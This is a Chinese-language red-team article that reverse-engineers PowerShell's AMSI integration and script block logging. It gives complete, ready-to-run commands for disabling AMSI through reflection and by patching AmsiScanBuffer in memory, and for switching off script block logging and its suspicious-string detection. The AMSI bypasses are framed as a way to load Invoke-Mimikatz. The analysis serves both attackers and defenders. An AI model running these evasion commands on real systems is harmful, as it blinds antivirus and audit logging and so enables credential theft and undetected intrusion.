导语:大多数人都知道,可以用AMSI(防病毒软件脚本接口)在操作符库中使PowerShell脚本出现错误。可以试着在不处理AMSI的情况下使用IEX Invoke-Mimikatz,但是这可能导致未被检测的活动结束。本文将讨论该技术是如何在其中起作用的。
到目前为止,大多数人都知道,可以用AMSI(防病毒软件脚本接口)在操作符库中使PowerShell脚本出现错误。可以试着在不处理AMSI的情况下使用IEX Invoke-Mimikatz,但是这可能导致未被检测的活动结束。
在尝试加载脚本之前,普遍先运行以下AMSI旁路:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
但是该命令是如何解开AMSI的呢?
本文将讨论该技术是如何在其中起作用的,接下来将介绍一些其他的方法将AMSI从PowerShell中解开。最后,回顾blue-team库的一个新成员、脚本块日志记录、它是如何工作的,以及如何去除,以避免它在参加项目时引起问题。
AMSI旁路——它是如何工作的
我能找到的关于这个旁路技术的最早的参考是2016年Matt Graeber提到的:
为了检查该命令对解开AMSI所起的作用,我们将负责管理PowerShell执行的汇编程序加载到一个反汇编器 “System.Management.Automation.dll” 中。
首先,看一下“System.Management.Automation.AmsiUtils”类,并在其中找到一些静态方法和属性。我们感兴趣的是变量“amsiInitFailed”,定义为:
private static bool amsiInitFailed = false;
注意,该变量具有“private”的访问修饰符,这意味着它不容易从AmsiUtils类公开。要更新这个变量,需要使用.NET反射来分配一个“true”的值,这在上面的绕过命令中可以看到。
那么这个变量在哪里使用?以及为什么会导致AMSI被禁用?答案可以在“AmsiUtils.ScanContent”方法中找到:
internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata) { if (string.IsNullOrEmpty(sourceMetadata)) { sourceMetadata = string.Empty; } if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*", StringComparison.Ordinal) >= 0) { return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED; } if (AmsiUtils.amsiInitFailed) { return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED; } ... }
“ScanContent”方法正使用“amsiInitFailed”变量来确定,是否AMSI应该扫描要执行的命令。将该变量设置为“false”,返回的是以下枚举值:
AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED
这反过来又导致在将要绕过的代码中的进一步检查,拦截AMSI。
不幸的是,对攻击者来说,最近的一次Windows Defender更新阻止了AMSI旁路命令,在解开AMSI之前,导致AMSI触发,阻止了AMSI旁路。
使用调试器深入挖掘Windows Defender,可以找到用于标记这个旁路的签名:
Defender将此不敏感匹配应用于通过AMSI发送的任何命令,以搜索试图解开AMSI的命令。值得注意的是,并没有对命令的上下文进行真正的解析,例如,以下内容也会导致此规则触发:
echo “amsiutils’).getfield(‘amsiinitfailed’,’nonpublic,static’).setvalue($null,$true)
了解了这一点,就知道绕过这个签名是多么容易了,例如,可以进行如下操作:
[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
或者干脆把单引号换成双引号:
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
因此,这个解决方案对那些只是简单地修改命令来绕过AMSI的操作者并不是一个有效的限制。然而,现在有趣的是,在程序开发过程中似乎都协调一致的尽力阻止攻击者使用已知的命令绕过AMSI。这种趋势可能将终结这个猫捉老鼠的游戏,所以我想深入了解一下AMSI是如何在PowerShell中工作的,并且看看是否能发现其他有趣的旁路。
AMSI旁路——修补amsi.dll AmsiScanBuffer
有一种直观的方法绕过AMSI,即给从AMSI.dll中导出的函数打补丁,AMSI.dll是个负责将Defender和PowerShell粘合在一起的库。开始探索这个方法之后,我发现Tal Lieberman在他的Blackhat演讲“The Rise and Fall of AMSI”中提出了该技巧。它提供了绕过AMSI的另一种方法,本文将介绍一下其基本原理,以便让读者了解如何应用此技术。
该方法使用.NET的interop功能来修补“amsi.dll”的输出函数“AmsiScanBuffer”,该函数是从PowerShell调用的,并用于检查命令是否是恶意的。通过注入我们自己的汇编代码,修改函数体,可以创建一个小的存根,它总是返回一个代码,该代码是一个命令是非恶意命令的证明。
当在执行过程中,AMSI DLL被加载到PowerShell的地址空间时,我们只需p/调用Win32 API的地址空间,用新存根替换函数体,该存根将在命令被扫描之前返回。经过精心制作之后得到如下:
$win32 = @" using System.Runtime.InteropServices; using System; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect ); } "@ Add-Type $win32 $ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer”) $b = 0 [Win32]::VirtualProtect($ptr, [UInt32]5, 0x40, [Ref]$b) $buf = New-Object Byte[] 7 $buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
这里只用“GetProcAddress”来获取导出的函数,以确保可以使用“VirtualProtect”通过将页面标记为read/write/execute写入函数体,然后使用“Copy”函数更新带有新的7字节存根的函数。
当执行时,修补后的AmsiScanBuffer方法如下:
如果尝试加载Invoke-Mimikatz,结果如下:
脚本负载中没有出现AMSI警报或Defender。
该技术带来的一个好处是,通过完全访问进程的内存空间,很难阻止修改函数,这些函数试图报告自己的恶意活动。
现在有了一种很好的替代技术来绕过AMSI,我们尝试寻找不涉及修改非托管代码的一些不同。
AMSI旁路——强制错误
从上面的测试中可知,Windows Defender基于签名而被屏蔽,鉴于它的流行,任何试图引用“amsiInitFailed”的尝试都很可能会被放在endpoint安全产品的议事日程上。那么如果我们真的尝试强制一个真正的错误状态,该错误状态真的会反过来设置这个标志吗?
一番搜索之后,我发现通过控制AMSI汇编、“amsiSession”和“amsiContext”中使用的两个变量,来强制这个错误状态实际上无关紧要。
首先看一下在“AmsiUtils.ScanContent”方法中,控制“amsiInitFailed”标志设置的代码:
int hresult = 0; if (AmsiUtils.amsiContext == IntPtr.Zero) { hresult = AmsiUtils.Init(); if (!Utils.Succeeded(hresult)) { AmsiUtils.amsiInitFailed = true; return; AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED; } } if (AmsiUtils.amsiSession == IntPtr.Zero) { hresult = AmsiUtils.AmsiNativeMethods.AmsiOpenSession(AmsiUtils.amsiContext, ref AmsiUtils.amsiSession); AmsiUtils.AmsiInitialized = true; if (!Utils.Succeeded(hresult)) { AmsiUtils.amsiInitFailed = true; return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED; } }
在这里,两个状态可能导致合法地设置该标志,即如果“AmsiUtils.Init()”或“AmsiUtils.AmsiNativeMethods.AmsiOpenSession(…)”失败,会导致设置该标志。本文将关注“AmsiOpenSession”,它是一个从“amsi.dll”导出的本地函数。
对该函数进行反汇编,以弄清PowerShell调用它时会发生什么:
有趣的是,我们发现如果可以用一个“AmsiOpenSession”指针来调用“AmsiOpenSession(…)”,这个指针在偏移0x00时不包含“AMSI”的4字节值,从函数0x80070057(或者E_INVALIDARG)将返回一个错误。当这个错误返回到PowerShell时,“Utils.Succeeded(…)”将失败,“amsiInitFailed”将为我们设置。
那么如何强制该状态呢?要做到这一点,需要遵循以下几个步骤:
分配一个非托管内存区域,它将被用作假的“amsiContext”。
将分配的内存分配给变量“amsiContext”。
将“amsiSession”设置为$null,它将强制执行“AmsiOpenSession(..)” amsi.dll 方法,传递我们控制的amsiContext内存区域,并导致一个错误被返回。
整理后,得到以下命令序列:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
执行此代码片段,并将调试器附加到Powershell。exe,预期的错误代码被返回:
如果检查“amsiInitFailed”,可以发现这个值现在已经被设置:
尝试加载 Invoke-Mimikatz:
这是另一种绕过AMSI的方法。
虽然AMSI是一个相当好的减速带,如果了解了该技术在背景中是如何工作的,那么很容易就可以在活动中将其禁用。
既然已经有了如何找到绕过AMSI的各种想法,我们将转向关注PowerShell安全性的另一个领域,PowerShell脚本块日志记录。
PowerShell脚本块的日志记录
如果你还没有遇到这个功能,建议查看一下来自Microsoft的相关介绍文章,其中介绍了PowerShell v5中支持的日志记录。
从本质上说,脚本块日志记录给了blue-team一个选择,可以对在PowerShell中执行的脚本进行审计。虽然这种方法已经有明显的优点,但是最大的好处是能够将混淆的脚本解压成可读的形式。例如,如果调用一个通过Invoke-Obfuscate传递的混淆命令:
使用解码和去除混淆的PowerShell命令对我们的活动进行记录,如下:
将它提供给一个日志相关工具,SOC有一种比较棒的方式来记录和识别网络上的恶意活动。
red-team 该如何应对呢?先看一下Powershell在高级选项下的日志记录实现,并找出它。
首先,我们需要将汇编的System.Management.Automation.dll再次反汇编并在已被启用的脚本日志记录上搜索端点。
查看“ScriptBlock.ScriptBlockLoggingExplicitlyDisabled”,如下:
internal static bool ScriptBlockLoggingExplicitlyDisabled() { Dictionary<string, object> groupPolicySetting = Utils.GetGroupPolicySetting("ScriptBlockLogging", Utils.RegLocalMachineThenCurrentUser); object obj; return groupPolicySetting != null && groupPolicySetting.TryGetValue("EnableScriptBlockLogging", out obj) && string.Equals("0", obj.ToString(), StringComparison.OrdinalIgnoreCase); }
考虑到关于脚本块日志记录方式的知识,从这里开始比较好。我们发现启用或禁用脚本日志记录的设置是从“Utils.GetGroupPolicySetting(…)”方法返回的。深入挖掘这个方法,发现如下:
internal static Dictionary<string, object> GetGroupPolicySetting(string settingName, RegistryKey[] preferenceOrder) { return Utils.GetGroupPolicySetting("Software\\Policies\\Microsoft\\Windows\\PowerShell", settingName, preferenceOrder); }
这里有一个进一步的调用,它提供注册表键路径以及我们想要获取的设置,并且被传递:
internal static Dictionary<string, object> GetGroupPolicySetting(string groupPolicyBase, string settingName, RegistryKey[] preferenceOrder) { ConcurrentDictionary<string, Dictionary<string, object>> obj = Utils.cachedGroupPolicySettings; ... if (!InternalTestHooks.BypassGroupPolicyCaching && Utils.cachedGroupPolicySettings.TryGetValue(key, out dictionary)) { return dictionary; } ... }
这里有对属性“Utils.cachedGroupPolicySettings”的引用。ConcurrentDictionary<T>用于存储注册表设置的缓存版本,注册表设置启用/禁用日志记录(以及各种其他PowerShell审计功能),可能是为了在运行时提高性能,而不是在每次执行一个命令时试图从注册表查找这个值。
现在我们已经了解了在运行时保存这些首选项的位置,继续讨论如何禁用这个日志记录。
PowerShell脚本块日志记录——旁路
“cachedGroupPolicySettings”可能是我们修改的目标。理论上通过操纵“cachedGroupPolicySettings”的内容,可以让PowerShell认为缓存的注册表键可以禁用日志记录。这也有好处,不再会触及实际的注册表值。
要在PowerShell中更新这个字典,我们可以再次转向反射。“cachedGroupPolicySettings”字典键需要设置为注册表键路径,PowerShell脚本日志记录功能在该路径上配置,在我们的例子中是“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”。值将是一个Dictionary<string,object> object指向我们修改的配置值,它将是“EnableScriptBlockLogging”,设置为“0”。
放在一起得到一个片段如下:
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null); $settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{} $settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0")
以上就是确保事件不再被记录所需要做的:
需要注意的是,在此之前脚本块日志记录一直是被启用的状态,该命令将在日志中结束。
在查看这项技术是否已经为人所知时,实际上在Empire框架中遇到了添加该功能的pull请求,这是由@cobbr_io提供的。
https://github.com/EmpireProject/Empire/pull/603
该技术后来被并入了Empire,这意味着如果你想避免PowerShell脚本块日志记录,那么Empire框架已经为你提供了解决办法。
那么,如果我们在一个没有配置脚本块日志记录的环境中操作,理论上我们应该做得很好。但实际情况并不是这样。
PowerShell日志记录——可疑字符串
如果继续挖掘PowerShell的日志代码,最终会得到一个名为“ScriptBlock.CheckSuspiciousContent”的方法:
internal static string CheckSuspiciousContent(Ast scriptBlockAst) { IEnumerable<string> source = ScriptBlock.TokenizeWordElements(scriptBlockAst.Extent.Text); ParallelOptions parallelOptions = new ParallelOptions(); string foundSignature = null; Parallel.ForEach<string>(source, parallelOptions, delegate(string element, ParallelLoopState loopState) { if (foundSignature == null && ScriptBlock.signatures.Contains(element)) { foundSignature = element; oopState.Break(); } }); if (!string.IsNullOrEmpty(foundSignature)) { return foundSignature; } if (!scriptBlockAst.HasSuspiciousContent) { return null; } Ast ast2 = scriptBlockAst.Find((Ast ast) => !ast.HasSuspiciousContent && ast.Parent.HasSuspiciousContent, true); if (ast2 != null) { return ast2.Parent.Extent.Text; } return scriptBlockAst.Extent.Text; }
有一种方法,将遍历所提供的脚本块,并尝试评估该脚本块的执行是否应该标记为可疑。在变量“Scriptblock.signatures”中可以找到的签名列表:
private static HashSet<string> signatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "Add-Type", "DllImport", "DefineDynamicAssembly", "DefineDynamicModule", "DefineType", "DefineConstructor", "CreateType", "DefineLiteral", "DefineEnum", "DefineField", "ILGenerator", "Emit", "UnverifiableCodeAttribute", "DefinePInvokeMethod", "GetTypes", "GetAssemblies", "Methods", "Properties", "GetConstructor", "GetConstructors", "GetDefaultMembers", "GetEvent", "GetEvents", "GetField", "GetFields", "GetInterface", "GetInterfaceMap", "GetInterfaces", "GetMember", "GetMembers", "GetMethod", "GetMethods", "GetNestedType", "GetNestedTypes", "GetProperties", "GetProperty", "InvokeMember", "MakeArrayType", "MakeByRefType", "MakeGenericType", "MakePointerType", "DeclaringMethod", "DeclaringType", "ReflectedType", "TypeHandle", "TypeInitializer", "UnderlyingSystemType", "InteropServices", "Marshal", "AllocHGlobal", "PtrToStructure", "StructureToPtr", "FreeHGlobal", "IntPtr", "MemoryStream", "DeflateStream", "FromBase64String", "EncodedCommand", "Bypass", "ToBase64String", "ExpandString", "GetPowerShell", "OpenProcess", "VirtualAlloc", "VirtualFree", "WriteProcessMemory", "CreateUserThread", "CloseHandle", "GetDelegateForFunctionPointer", "kernel32", "CreateThread", "memcpy", "LoadLibrary", "GetModuleHandle", "GetProcAddress", "VirtualProtect", "FreeLibrary", "ReadProcessMemory", "CreateRemoteThread", "AdjustTokenPrivileges", "WriteByte", "WriteInt32", "OpenThreadToken", "PtrToString", "FreeHGlobal", "ZeroFreeGlobalAllocUnicode", "OpenProcessToken", "GetTokenInformation", "SetThreadToken", "ImpersonateLoggedOnUser", "RevertToSelf", "GetLogonSessionData", "CreateProcessWithToken", "DuplicateTokenEx", "OpenWindowStation", "OpenDesktop", "MiniDumpWriteDump", "AddSecurityPackage", "EnumerateSecurityPackages", "GetProcessHandle", "DangerousGetHandle", "CryptoServiceProvider", "Cryptography", "RijndaelManaged", "SHA1Managed", "CryptoStream", "CreateEncryptor", "CreateDecryptor", "TransformFinalBlock", "DeviceIoControl", "SetInformationProcess", "PasswordDeriveBytes", "GetAsyncKeyState", "GetKeyboardState", "GetForegroundWindow", "BindingFlags", "NonPublic", "ScriptBlockLogging", "LogPipelineExecutionDetails", "ProtectedEventLogging" };
这意味着,如果命令包含上述任何字符串,那么事件将被记录,即使没有配置任何脚本块日志记录。例如,如果在未配置日志记录的环境中执行匹配可疑签名的命令,例如:
Write-Host “I wouldn’t want to call DeviceIoControl here”
令牌“DeviceIoControl”被识别为可疑的,完整命令被添加到Event Log(事件日志)中:
那么该如何规避这个问题呢?让我们看看PowerShell如何处理可疑命令:
internal static void LogScriptBlockStart(ScriptBlock scriptBlock, Guid runspaceId) { bool force = false; if (scriptBlock._scriptBlockData.HasSuspiciousContent) { force = true; } ScriptBlock.LogScriptBlockCreation(scriptBlock, force); if (ScriptBlock.ShouldLogScriptBlockActivity("EnableScriptBlockInvocationLogging")) { PSEtwLog.LogOperationalVerbose(PSEventId.ScriptBlock_Invoke_Start_Detail, PSOpcode.Create, PSTask.CommandStart, PSKeyword.UseAlwaysAnalytic, newobject[] { scriptBlock.Id.ToString(), runspaceId.ToString() }); } }
“force”本地变量是根据命令是否被检测为可疑而设置的。然后将其传递给“ScriptBlock.LogScriptBlockCreation(…)”,以强制进行日志记录:
internal static void LogScriptBlockCreation(ScriptBlock scriptBlock, bool force) { if ((force || ScriptBlock.ShouldLogScriptBlockActivity("EnableScriptBlockLogging")) && (!scriptBlock.HasLogged || InternalTestHooks.ForceScriptBlockLogging)) { if (ScriptBlock.ScriptBlockLoggingExplicitlyDisabled() || scriptBlock.ScriptBlockData.IsProductCode) { return; } ... } }
由以上可知,是否进行日志记录,取决于“force”参数,但是如果“ScriptBlock.ScriptBlockLoggingExplicitlyDisabled()”方法返回的是true,就可以在不记录的情况下退出该方法。
正如从上面的演练中所知,我们已经控制了这个方法的返回方式,这意味着可以重新使用现有的脚本块日志记录旁路,以确保任何可疑的字符串也没有被记录。
这里有第二个旁路,但是可以在只使用这种隐式日志记录的环境中操作。如果将上述可疑字符串的列表截断,是否意味着没有签名将与之匹配?
使用一些反射,可以使用以下命令来完成:
[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").SetValue($null, (New-Object'System.Collections.Generic.HashSet[string]'))
用一个新的空hashset设置了“signatures”变量,这意味着“force”参数永远不会为真,绕过了日志记录:
希望这篇文章已经演示了在使用脚本库时保护操作安全性的一些替代方法。在继续检查针对PowerShell的端点安全解决方案时,确保我们知道这些安全保护的工作原理,不仅可以改善我们在审计过程中避免检测的尝试,而且还可以帮助防御者了解监视PowerShell的优点和局限性。